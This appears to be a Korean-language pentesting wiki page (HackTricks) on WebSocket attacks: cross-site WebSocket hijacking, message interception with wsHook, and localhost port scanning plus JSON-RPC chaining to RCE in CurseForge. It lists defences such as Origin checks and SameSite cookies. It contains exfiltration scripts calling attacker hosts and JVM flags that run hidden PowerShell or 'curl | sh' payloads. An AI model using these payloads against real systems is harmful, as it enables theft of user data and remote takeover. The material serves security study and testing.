Gorilla WebSocket ์„œ๋ฒ„์—์„œ CheckOrigin์„ ํ•ญ์ƒ **return true**๋กœ ์„ค์ •ํ•˜๋ฉด ๋ชจ๋“  Origin์˜ ํ•ธ๋“œ์…ฐ์ดํฌ๋ฅผ ์ˆ˜๋ฝํ•œ๋‹ค. WS ์—”๋“œํฌ์ธํŠธ๊ฐ€ ๋˜ํ•œ lacks authenticationํ•  ๊ฒฝ์šฐ, ํ”ผํ•ด์ž ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  ํŽ˜์ด์ง€(์ธํ„ฐ๋„ท ๋˜๋Š” ์ธํŠธ๋ผ๋„ท)๋Š” ์†Œ์ผ“์„ ์—…๊ทธ๋ ˆ์ด๋“œํ•ด ๊ต์ฐจ ์‚ฌ์ดํŠธ๋กœ ๋ฉ”์‹œ์ง€๋ฅผ ์ฝ๊ณ  ์ „์†กํ•  ์ˆ˜ ์žˆ๋‹ค.

<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>

์˜ํ–ฅ: any Origin๊ฐ€ ํ—ˆ์šฉ๋˜๊ณ  ์—”๋“œํฌ์ธํŠธ๊ฐ€ ์ธ์ฆ์„ ๊ฑด๋„ˆ๋›ธ ๋•Œ ์‚ฌ์šฉ์ž ์ž๊ฒฉ์ฆ๋ช… ์—†์ด ์ŠคํŠธ๋ฆฌ๋ฐ๋œ ๋ฐ์ดํ„ฐ(์˜ˆ: ์บก์ฒ˜๋œ ์ด๋ฉ”์ผ/์•Œ๋ฆผ)์˜ ์‹ค์‹œ๊ฐ„ exfiltration.

๊ฐ„๋‹จํ•œ ๊ณต๊ฒฉ

์ฐธ๊ณ ๋กœ ์—ฐ๊ฒฐ์„ ์„ค์ •ํ•  ๋•Œ websocket ์—ฐ๊ฒฐ์— cookie๊ฐ€ ์ „์†ก๋˜์–ด server๋กœ ๋ณด๋‚ด์ง‘๋‹ˆ๋‹ค. server๋Š” ์ „์†ก๋œ cookie๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ๊ฐ ํŠน์ • ์‚ฌ์šฉ์ž๋ฅผ ๊ทธ์˜ websocket session๊ณผ **์—ฐ๊ฒฐ(relate)**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, msg๋กœ โ€œREADYโ€œ๊ฐ€ ์ „์†ก๋˜๋ฉด websocket server๊ฐ€ ํ•ด๋‹น ์‚ฌ์šฉ์ž์˜ ๋Œ€ํ™” ๊ธฐ๋ก์„ sends back the history of the conversationํ•œ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜๋ฉด, ์—ฐ๊ฒฐ์„ ์ƒ์„ฑํ•˜๋Š” simple XSS(ํ”ผํ•ด์ž ์‚ฌ์šฉ์ž๋ฅผ ์ธ์ฆํ•˜๊ธฐ ์œ„ํ•ด cookie๊ฐ€ ์ž๋™์œผ๋กœ sent๋จ)๋ฅผ ํ†ตํ•ด โ€œREADYโ€œ๋ฅผ ์ „์†กํ•˜๋ฉด ๋Œ€ํ™” ๊ธฐ๋ก์„ retrieveํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/์—์„œ ๊ณต๊ฒฉ์ž๋Š” ์›น ์†Œ์ผ“ ํ†ต์‹ ์ด ์ด๋ฃจ์–ด์ง€๋˜ ๋„๋ฉ”์ธ์˜ ํ•œ subdomain์—์„œ ์ž„์˜์˜ Javascript๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. subdomain์ด์—ˆ๊ธฐ ๋•Œ๋ฌธ์— cookie๊ฐ€ ์ „์†ก๋˜์—ˆ๊ณ , ๋˜ํ•œ Websocket์ด Origin์„ ์ œ๋Œ€๋กœ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š์•˜๋‹ค๋Š” ์  ๋•Œ๋ฌธ์— ํ•ด๋‹น Websocket๊ณผ ํ†ต์‹ ํ•˜์—ฌ tokens๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ ํƒˆ์ทจ

์‚ฌ์นญํ•˜๋ ค๋Š” ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(์˜ˆ: .html ํŒŒ์ผ๋“ค)์„ ๋ณต์‚ฌํ•œ ๋’ค, websocket ํ†ต์‹ ์ด ๋ฐœ์ƒํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ ์•ˆ์— ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ์ถ”๊ฐ€ํ•˜์„ธ์š”:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

์ง€๊ธˆ https://github.com/skepticfx/wshook์—์„œ wsHook.js ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ์›น ํŒŒ์ผ์ด ์žˆ๋Š” ํด๋” ์•ˆ์— ์ €์žฅํ•˜์„ธ์š”.
์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋…ธ์ถœ์‹œํ‚ค๊ณ  ์‚ฌ์šฉ์ž๊ฐ€ ์—ฐ๊ฒฐํ•˜๊ฒŒ ๋งŒ๋“ค๋ฉด websocket์„ ํ†ตํ•ด ์ฃผ๊ณ ๋ฐ›๋Š” ๋ฉ”์‹œ์ง€๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

sudo python3 -m http.server 80

CSWSH ๋ณดํ˜ธ

CSWSH ๊ณต๊ฒฉ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์•…์„ฑ ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜๊ณ , ๊ทธ ํŽ˜์ด์ง€๊ฐ€ ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฏธ ์—ฐ๊ฒฐ๋œ ์›น ํŽ˜์ด์ง€๋กœ websocket connection์„ ์—ด์–ด ์š”์ฒญ์ด ์‚ฌ์šฉ์ž์˜ cookies๋ฅผ ์ „์†กํ•˜๋ฉด์„œ ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์‹ ํ•ด ์ธ์ฆํ•˜๊ฒŒ ๋˜๋Š” ์ ์„ ์•…์šฉํ•œ๋‹ค.

์š”์ฆ˜์—๋Š” ์ด ๋ฌธ์ œ๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ๊ฐ€ ๋งค์šฐ ์‰ฝ๋‹ค:

  • Websocket server checking the origin: websocket server๋Š” ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ํŽ˜์ด์ง€๊ฐ€ ์ ‘์†ํ•˜์ง€ ๋ชปํ•˜๋„๋ก ํ•ญ์ƒ ์‚ฌ์šฉ์ž๊ฐ€ ์–ด๋””์—์„œ ์—ฐ๊ฒฐํ•˜๋Š”์ง€(Origin)๋ฅผ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.
  • Authentication token: ์ธ์ฆ์„ cookie์— ๊ธฐ๋ฐ˜ํ•˜์ง€ ์•Š๊ณ , websocket ์—ฐ๊ฒฐ์„ ๊ณต๊ฒฉ์ž๊ฐ€ ๋ชจ๋ฅด๋Š” ์„œ๋ฒ„๊ฐ€ ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ฐœ๊ธ‰ํ•œ ํ† ํฐ(์˜ˆ: anti-CSRF token)์— ๊ธฐ๋ฐ˜ํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ๋‹ค.
  • SameSite Cookie attribute: SameSite ๊ฐ’์ด Lax ๋˜๋Š” Strict์ธ cookies๋Š” ์™ธ๋ถ€ ๊ณต๊ฒฉ์ž ํŽ˜์ด์ง€์—์„œ victim ์„œ๋ฒ„๋กœ ์ „์†ก๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ cookie ๊ธฐ๋ฐ˜ ์ธ์ฆ์€ ์„ฑ๊ณตํ•˜์ง€ ๋ชปํ•œ๋‹ค. ์ฐธ๊ณ ๋กœ Chrome์€ ์ด์ œ ์ด ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋ช…์‹œ๋˜์ง€ ์•Š์€ ์ฟ ํ‚ค์— ๊ธฐ๋ณธ์œผ๋กœ Lax ๊ฐ’์„ ์ ์šฉํ•ด ๊ธฐ๋ณธ ์„ค์ •์„ ๋” ์•ˆ์ „ํ•˜๊ฒŒ ๋งŒ๋“ค๊ณ  ์žˆ๋‹ค. ๋‹ค๋งŒ ์ฟ ํ‚ค๊ฐ€ ์ƒ์„ฑ๋œ ์ฒซ 2๋ถ„ ๋™์•ˆ์€ ๊ฐ’์ด **None**์ด ๋˜์–ด ๊ทธ ์ œํ•œ๋œ ๊ธฐ๊ฐ„ ๋™์•ˆ ์ทจ์•ฝํ•ด์งˆ ์ˆ˜ ์žˆ๋‹ค(์ด ์กฐ์น˜๊ฐ€ ์–ธ์  ๊ฐ€ ์ œ๊ฑฐ๋  ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋˜๊ธฐ๋„ ํ•œ๋‹ค).
  • Firefox Total Cookie Protection: Total Cookie Protection์€ ์ฟ ํ‚ค๋ฅผ ์ƒ์„ฑ๋œ ์‚ฌ์ดํŠธ๋กœ ๊ฒฉ๋ฆฌ์‹œ์ผœ ๋™์ž‘ํ•œ๋‹ค. ๋ณธ์งˆ์ ์œผ๋กœ ๊ฐ ์‚ฌ์ดํŠธ๋Š” ์ž์ฒด ์ฟ ํ‚ค ์ €์žฅ์†Œ ํŒŒํ‹ฐ์…˜์„ ๊ฐ€์ง€๋ฉฐ ํƒ€์‚ฌ์ž๊ฐ€ ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ง• ๊ธฐ๋ก์„ ์—ฐ๊ฒฐํ•˜์ง€ ๋ชปํ•˜๋„๋ก ํ•œ๋‹ค. ์ด๋กœ ์ธํ•ด ๊ณต๊ฒฉ์ž ์‚ฌ์ดํŠธ๋Š” ์ฟ ํ‚ค์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†์–ด CSWSH unusable ์ƒํƒœ๊ฐ€ ๋œ๋‹ค.
  • Chrome third-party cookies block: ์ด๋Š” SameSite=None์ธ ๊ฒฝ์šฐ์—๋„ ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค๊ฐ€ websocket ์„œ๋ฒ„๋กœ ์ „์†ก๋˜๋Š” ๊ฒƒ์„ ๋ง‰์„ ์ˆ˜ ์žˆ๋‹ค.

Localhost WebSocket ์•…์šฉ ๋ฐ ๋ธŒ๋ผ์šฐ์ € ํฌํŠธ ํƒ์ƒ‰

๋ฐ์Šคํฌํƒ‘ ๋Ÿฐ์ฒ˜๋Š” ์ข…์ข… JSON-RPC WebSockets๋ฅผ 127.0.0.1:<random_port>์— ๋…ธ์ถœํ•˜๋Š” ํ—ฌํผ(e.g., CurseForge์˜ CurseAgent.exe)๋ฅผ ์‹คํ–‰ํ•œ๋‹ค. ๋ธŒ๋ผ์šฐ์ €๋Š” ๋ฃจํ”„๋ฐฑ ์†Œ์ผ“์— ๋Œ€ํ•ด SOP๋ฅผ ์ ์šฉํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์—, ์–ด๋–ค ์›น ํŽ˜์ด์ง€๋“  ํ•ธ๋“œ์…ฐ์ดํฌ๋ฅผ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋งŒ์•ฝ ์—์ด์ „ํŠธ๊ฐ€ ์ž„์˜์˜ Origin ๊ฐ’์„ ํ—ˆ์šฉํ•˜๊ณ  ์ถ”๊ฐ€ ์ธ์ฆ์„ ๊ฑด๋„ˆ๋›ด๋‹ค๋ฉด, IPC ์ธํ„ฐํŽ˜์ด์Šค๋Š” JavaScript๋กœ๋ถ€ํ„ฐ ์›๊ฒฉ ์ œ์–ด๊ฐ€ ๊ฐ€๋Šฅํ•ด์ง„๋‹ค.

Enumerating exposed methods

ํ”„๋กœํ† ์ฝœ ๊ณ„์•ฝ์„ ํŒŒ์•…ํ•˜๋ ค๋ฉด ์ •์ƒ ์„ธ์…˜์„ ์บก์ฒ˜ํ•˜๋ผ. ์˜ˆ์ปจ๋Œ€ CurseForge๋Š” {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]}์™€ ๊ฐ™์€ ํ”„๋ ˆ์ž„์„ ์ „์†กํ•˜๋Š”๋ฐ, ์—ฌ๊ธฐ์„œ name์€ RPC ๋ฉ”์„œ๋“œ์ด๊ณ  args๋Š” GUIDs, resolution, flags ๋“ฑ ๊ตฌ์กฐํ™”๋œ ๊ฐ์ฒด๋“ค์„ ํฌํ•จํ•œ๋‹ค. ์ด ๊ตฌ์กฐ๋ฅผ ์•Œ๊ฒŒ ๋˜๋ฉด ์ธ์ ์…˜๋œ ํŽ˜์ด์ง€์—์„œ createModpack, minecraftGetDefaultLocation ๋˜๋Š” ๋‹ค๋ฅธ ๊ถŒํ•œ์ด ํ•„์š”ํ•œ ์ž‘์—…์„ ๋ฐ”๋กœ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋‹ค.

Browser-based port discovery

ํ—ฌํผ๊ฐ€ ๋ฌด์ž‘์œ„ ๊ณ ํฌํŠธ์— ๋ฐ”์ธ๋”ฉํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ์ต์Šคํ”Œ๋กœ์ž‡์€ ๋จผ์ € WebSockets๋ฅผ ํ†ตํ•ด localhost๋ฅผ ๋ฌด์ฐจ๋ณ„ ํƒ์ƒ‰ํ•œ๋‹ค. Chromium-based ๋ธŒ๋ผ์šฐ์ €๋Š” ์“ฐ๋กœํ‹€๋ง ์ „๊นŒ์ง€ ์•ฝ 16k์˜ ์‹คํŒจํ•œ ์—…๊ทธ๋ ˆ์ด๋“œ๋ฅผ ํ—ˆ์šฉํ•˜๋ฏ€๋กœ ์ผ์‹œ์  ํฌํŠธ ๋ฒ”์œ„๋ฅผ ํ›‘๊ธฐ์— ์ถฉ๋ถ„ํ•˜๋‹ค; ๋ฐ˜๋ฉด Firefox๋Š” ์ˆ˜๋ฐฑ ๋ฒˆ์˜ ์‹คํŒจ ํ›„์— ํฌ๋ž˜์‹œ๋‚˜ ๋ฉˆ์ถค์ด ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝํ–ฅ์ด ์žˆ์–ด ์‹ค์ „ PoCs๋Š” ์ข…์ข… Chromium์„ ํƒ€๊นƒ์œผ๋กœ ํ•œ๋‹ค.

๊ฐ„๋‹จํ•œ ๋ธŒ๋ผ์šฐ์ € ์Šค์บ๋„ˆ ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

JSON-RPC ๋ฉ”์„œ๋“œ ์ฒด์ด๋‹์œผ๋กœ RCE ๋‹ฌ์„ฑ

CurseForge ์ต์Šคํ”Œ๋กœ์ž‡์€ ์ธ์ฆ๋˜์ง€ ์•Š์€ ๋‘ ํ˜ธ์ถœ์„ ์ฒด์ด๋‹ํ•ฉ๋‹ˆ๋‹ค:

  1. createModpack โ†’ ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ ์—†์ด ์ƒˆ๋กœ์šด MinecraftInstanceGuid๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.
  2. minecraftTaskLaunchInstance โ†’ AdditionalJavaArguments๋ฅผ ํ†ตํ•ด ์ž„์˜์˜ JVM ํ”Œ๋ž˜๊ทธ๋ฅผ ํ—ˆ์šฉํ•˜๋ฉด์„œ ํ•ด๋‹น GUID๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

JNI/JVM ์ง„๋‹จ ์˜ต์…˜์€ ์ฆ‰์‹œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ RCE ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด metaspace๋ฅผ ์ œํ•œํ•ด ํฌ๋ž˜์‹œ๋ฅผ ์œ ๋„ํ•˜๊ณ  ์—๋Ÿฌ ํ›…์„ ์ด์šฉํ•ด ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

Unix ๋Œ€์ƒ์—์„œ๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ /bin/sh -c 'curl https://attacker/p.sh | sh'๋กœ ๋ฐ”๊พธ๊ธฐ๋งŒ ํ•˜๋ฉด ๋œ๋‹ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฝ”๋“œ๋ฅผ ๊ฑด๋“œ๋ฆด ์ˆ˜ ์—†๋”๋ผ๋„ JVM CLI๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์œผ๋ฉด ๋™์ž‘ํ•œ๋‹ค.

์ด๋Ÿฌํ•œ โ€œcreate resource โ†’ privileged launchโ€ ํŒจํ„ด์€ ์—…๋ฐ์ดํŠธ ํ”„๋กœ๊ทธ๋žจ๊ณผ ๋Ÿฐ์ฒ˜์—์„œ ์ž์ฃผ ๋‚˜ํƒ€๋‚œ๋‹ค. (1)์ด ์„œ๋ฒ„์—์„œ ์ถ”์ ํ•˜๋Š” ์‹๋ณ„์ž๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ณ  (2)๊ฐ€ ๊ทธ ์‹๋ณ„์ž๋กœ ์ฝ”๋“œ ์‹คํ–‰ ๋˜๋Š” ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•  ๋•Œ, ์‚ฌ์šฉ์ž ์ œ์–ด ์ธ์ˆ˜๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋ผ.

๊ฒฝ์Ÿ ์กฐ๊ฑด

WebSockets์—์„œ์˜ ๊ฒฝ์Ÿ ์กฐ๊ฑด๋„ ์กด์žฌํ•œ๋‹ค. ๋” ์•Œ์•„๋ณด๋ ค๋ฉด ์ด ์ •๋ณด๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

๊ธฐํƒ€ ์ทจ์•ฝ์ 

Web Sockets๋Š” ์„œ๋ฒ„ ์ธก๊ณผ ํด๋ผ์ด์–ธํŠธ ์ธก์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๋Š” ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด๋ฏ€๋กœ, ์„œ๋ฒ„์™€ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ •๋ณด๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ์‹์— ๋”ฐ๋ผ Web Sockets๋ฅผ ํ†ตํ•ด ์ „๋‹ฌ๋œ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์ด์šฉํ•ด XSS, SQLi ๋˜๋Š” ๊ธฐํƒ€ ์ผ๋ฐ˜์ ์ธ ์›น ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

WebSocket Smuggling

์ด ์ทจ์•ฝ์ ์€ (์‹ค์ œ๋กœ ๊ทธ๋ ‡์ง€ ์•Š๋”๋ผ๋„) ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ๊ฐ€ websocket communication was stablished ๋ผ๊ณ  ๋ฏฟ๋„๋ก ๋งŒ๋“ค์–ด bypass reverse proxies restrictions ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค. ์ด๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ access hidden endpoints ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•œ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜๋ผ:

Upgrade Header Smuggling

์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ